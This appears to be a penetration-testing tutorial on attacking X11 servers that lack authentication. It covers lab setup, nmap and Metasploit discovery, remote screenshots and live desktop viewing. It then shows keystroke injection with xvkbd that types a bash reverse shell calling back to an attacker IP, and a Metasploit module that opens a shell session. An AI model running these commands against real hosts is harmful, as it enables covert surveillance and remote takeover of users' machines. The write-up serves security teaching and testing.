The X Window System version 11 (commonly refered to as X11), is a protocol and software for managing graphical displays on Unix-like operating systems. It serves as the foundation for graphical user interfaces (GUIs) in these systems.
Although most UNIX-like systems are moving to Wayland, X11 is still common place in a lot of environments.
This article is looking at some ways of compromising an X11 system.
Configuring X11 to Allow Remote Connections
There are two ways we can connect to an X11 server, either directly via TCP ports in the 6000-60063 range, or using the X Display Manager Protocol (XDCMP) which runs on UDP port 177.
First, let’s configure Ubuntu 24.04 to allow remote X11 connections and enable XDCMP.
Modify the GDM configuration file (/etc/gdm3/custom.conf) to disable Wayland and allow listening on a TCP port.
# GDM configuration storage
#
# See /usr/share/gdm/gdm.schemas for a list of available options.
[daemon]
WaylandEnable=false
[security]
DisallowTCP=false
[XDMCPServer]
enabled=true
[xdmcp]
Enable=true
Port=177
DisplaysPerHost=10
Next, modify /usr/bin/Xorg to include a -listen tcp statement:
#!/bin/sh
#
# Execute Xorg.wrap if it exists otherwise execute Xorg directly.
# This allows distros to put the suid wrapper in a separate package.
basedir=/usr/lib/xorg
if [ -x "$basedir"/Xorg.wrap ]; then
exec "$basedir"/Xorg.wrap "$@" -listen tcp
else
exec "$basedir"/Xorg "$@" -listen tcp
Reboot, and your machine should now be listening on TCP port 6001 and UDP port 177.
user@ubuntu:~$ ss -ltpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 0.0.0.0:6001 0.0.0.0:* users:(("Xorg",pid=2036,fd=10))
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
user@ubuntu:~$ ss -nlup
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
UNCONN 0 0 127.0.0.54:53 0.0.0.0:*
UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
UNCONN 0 0 0.0.0.0:37296 0.0.0.0:*
UNCONN 0 0 0.0.0.0:631 0.0.0.0:*
UNCONN 0 0 0.0.0.0:35741 0.0.0.0:*
UNCONN 0 0 0.0.0.0:5353 0.0.0.0:*
UNCONN 0 0 *:177 *:*
Finally, we can use the xhost command to allow any client to connect to our server:
user@ubuntu:~$ xhost
access control enabled, only authorized clients can connect
SI:localuser:user
user@ubuntu:~$ xhost +
access control disabled, clients can connect from any host
Identifying X11 Instances Without Authentication
The NMap NSE script “x11-access” can be used to determine if we can connect to X11 without authentication:
nmap 10.101.89.72 --script x11-access -Pn -n -sV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-21 10:38 EDT
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 10.101.89.72
Host is up (0.0013s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
6001/tcp open X11 X.Org (open)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds
The Metasploit module open_x11 can be used for the same purpose.
msf6 auxiliary(scanner/x11/open_x11) > show options
Module options (auxiliary/scanner/x11/open_x11):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.101.89.72 yes The target host(s), see https://docs.metasploit.com/docs/
using-metasploit/basics/using-metasploit.html
RPORT 6001 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/x11/open_x11) > run
[+] 10.101.89.72:6001 - 10.101.89.72 Open X Server (The X.Org Foundation)
[*] 10.101.89.72:6001 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/x11/open_x11) >
XDCMP Mapping
Simiarly, the NMap script xdmcp-discover can be used to gain further information about the system:
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU -A -sV -p 177 -Pn -n --script=xdmcp-discover 10.101.89.72
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-21 12:09 EDT
Nmap scan report for 10.101.89.72
Host is up (0.00066s latency).
PORT STATE SERVICE VERSION
177/udp open xdmcp XDMCP (willing; status: Linux 6.8.0-38-generic)
| xdmcp-discover:
| Session id: 0x71FCEBA2
| Authorization name: MIT-MAGIC-COOKIE-1
|_ Authorization data: 5a6932fbb4a31a8fbc32e85a276a3aaf
MAC Address: 00:0C:29:8C:A0:6D (VMware)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop
Service Info: Host: ubuntu; OS: Unix
TRACEROUTE
HOP RTT ADDRESS
1 0.66 ms 10.101.89.72
Connecting Using XDCMP
Xephyr can be used to connect to a host using XDCMP:
Xephyr -from 10.101.88.14 -query 10.101.89.72 -screen 800x600 :1
Remote Screen Viewing with X11
Once you have located an X11 server with open authentication, you can create a screenshot of the users desktop using the following commands:
xwd -root -screen -silent -display 10.101.89.72:1 > screenshot.xwd
convert screenshot.xwd screenshot.png
The application xwatchwin can be used to view the remote users desktop in real time. Unfortunatly, this application does not appear to be in the Kali repositories anymore. However, installing the Ubuntu package from here did work for me.
First, we need to use xwininfo to get the window ID for the root Window:
┌──(kali㉿kali)-[~]
└─$ xwininfo -root -display 10.101.89.72:1
xwininfo: Window id: 0x36a (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 3838
Height: 1761
Depth: 24
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 3838x1761+0+0
Then we just need to run xwatchwin with this ID:
xwatchwin 10.101.89.72:1 -w 0x36a
You should get a fullscreen display of the target desktop. Bear in mind, the refresh speed will probably be quite slow.
Injecting Remote Commands
The xvkbd command can be used to send commands to the remote system that will be executed in the context of the logged on user. The below example shows a simple bash reverse shell being executed.
┌──(kali㉿kali)-[~]
└─$ xvkbd -no-repeat -no-sync -no-jump-pointer -remote-display 10.101.89.72:1 -text "/bin/bash -i > /dev/tcp/10.101.88.14/8000<&1 2>&1\r"
xvkbd: Mode_switch not available as a modifier
xvkbd: although ISO_Level3_Shift is used instead, AltGr may not work correctly
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 8000
listening on [any] 8000 ...
connect to [10.101.88.14] from (UNKNOWN) [10.101.89.72] 37700
user@ubuntu:~$ id
id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
Metasploit also incudes the module x11_keyboard_exec. Aside from setting the target port, you also need to ensure the target value is set, since Ubuntu does not include Xterm by default.
msf6 exploit(unix/x11/x11_keyboard_exec) > show options
Module options (exploit/unix/x11/x11_keyboard_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port]
[...]
RHOSTS 10.101.89.72 yes The target host(s), see https://docs.metasploit.com/doc
s/using-metasploit/basics/using-metasploit.html
RPORT 6001 yes The target port (TCP)
TIME_WAIT 5 yes Time to wait for opening GUI windows in seconds
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.101.88.14 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 gnome-terminal (Ubuntu)
View the full module info with the info, or info -d command.
msf6 exploit(unix/x11/x11_keyboard_exec) > run
[*] Started reverse TCP handler on 10.101.88.14:4444
[*] 10.101.89.72:6001 - 10.101.89.72:6001 - Register keyboard
[*] 10.101.89.72:6001 - 10.101.89.72:6001 - Opening "Run Application"
[*] 10.101.89.72:6001 - 10.101.89.72:6001 - Waiting 5 seconds...
[*] 10.101.89.72:6001 - 10.101.89.72:6001 - Opening gnome-terminal
[*] 10.101.89.72:6001 - 10.101.89.72:6001 - Waiting 5 seconds...
[*] 10.101.89.72:6001 - 10.101.89.72:6001 - Typing and executing payload
[*] Command shell session 1 opened (10.101.88.14:4444 -> 10.101.89.72:39528) at 2024-07-21 11:03:24 -0400
whoami
user
hostname
ubuntu
In Conclusion
Although X11 is largly considered obsolete, there are still open servers out there that are directly connected to the Internet. As of today, searching Shodan for filter “port:6000 x11” yields 24,691 results.